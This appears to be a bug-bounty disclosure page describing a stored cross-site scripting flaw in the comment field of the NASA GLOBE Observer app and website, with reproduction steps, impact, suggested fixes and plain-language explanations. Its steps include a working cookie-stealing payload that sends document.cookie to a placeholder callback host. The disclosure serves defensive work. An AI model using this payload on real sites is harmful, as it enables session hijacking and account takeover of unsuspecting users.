Stored XSS in Comment Field of Observation – Leads to Cookie Theft and JS Execution
A stored cross-site scripting flaw existed in the comment field of shared observations, allowing an attacker to inject JavaScript that executed automatically when any user viewed the observation page. This could lead to session hijacking and account compromise by stealing cookies.
- Accepted in 3 days
- Fixed in 5 months
- Disclosed after 5 months
Summary by GKData
NASA GLOBE Observer Mobile App / Web - Stored XSS Vulnerability
Affected Endpoint
https://www.globe.gov/web/
Affected Feature
Observation Comments (Publicly Shared)
Summary
A stored XSS vulnerability was discovered in the comment field of shared observations within the NASA GLOBE Observer mobile app. By injecting malicious HTML/JS code in the comment, I was able to execute JavaScript in the browser context of any user viewing the observation. The payload was executed automatically upon page load and was reflected on public/shared observation pages.
This allows full session hijacking and account compromise, especially due to the ability to exfiltrate session cookies to an external server.
Steps to Reproduce
-
Install the NASA GLOBE Observer mobile app.
-
Create or select any observation. I chose tree measurement and just took random photos on the observer app for latest iOS—this renders on the web version of viewing observations globally.
-
In the "comment" field, input the following payload:
<img src=x onerror="new Image().src='https://CALLBACKURLHERE?cb='+encodeURIComponent(document.cookie)"> -
Submit the observation.
-
Visit the observation's public/shareable URL (e.g.,
https://www.globe.gov/web/lightrip/...) from any other account or incognito session. -
Upon loading the page, the script:
- Executes automatically
- Sends the user's cookies to the attacker's server
- Demonstrates persistent stored XSS shared across all users
Impact
- Stored XSS across all users
- Full session hijacking via stolen cookies
- Arbitrary JS execution in NASA user sessions
- Persistent across shared/public observation URLs
- Could be chained for full account takeover or privilege escalation
Suggested Fix
- Sanitize all input in comment fields to disallow any HTML tags or JavaScript
- Encode all user-generated content before rendering
- Use a JavaScript sanitization library like DOMPurify on the client-side, and enforce HTML escaping on the server-side
- Apply CSP headers to mitigate risk of inline script execution
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the comment field did not sanitise or encode user input before rendering it on the page, allowing HTML and JavaScript to be stored and executed.
Impact
The stored XSS could allow full session hijacking via stolen cookies and arbitrary JavaScript execution in NASA user sessions, potentially leading to account takeover or privilege escalation.
What the attacker needed
NASA GLOBE Observer app or web access; Ability to create an observation with a comment; Victim views the shared observation page
How it was found
- Install the NASA GLOBE Observer mobile app.
- Create or select any observation, such as a tree measurement.
- In the comment field, enter a payload that runs JavaScript.
- Submit the observation.
- Visit the observation's public URL from another account or incognito session.
- The script executes automatically and sends the viewer's cookies to an external server.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you type a comment on a website, the site should treat it as plain text, not as code. Here, the site displayed the comment as if it were part of the page's code, so a malicious comment could run a small program in the browser of anyone who viewed it. That program could then steal the viewer's login cookies, which are like temporary keys to their account.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.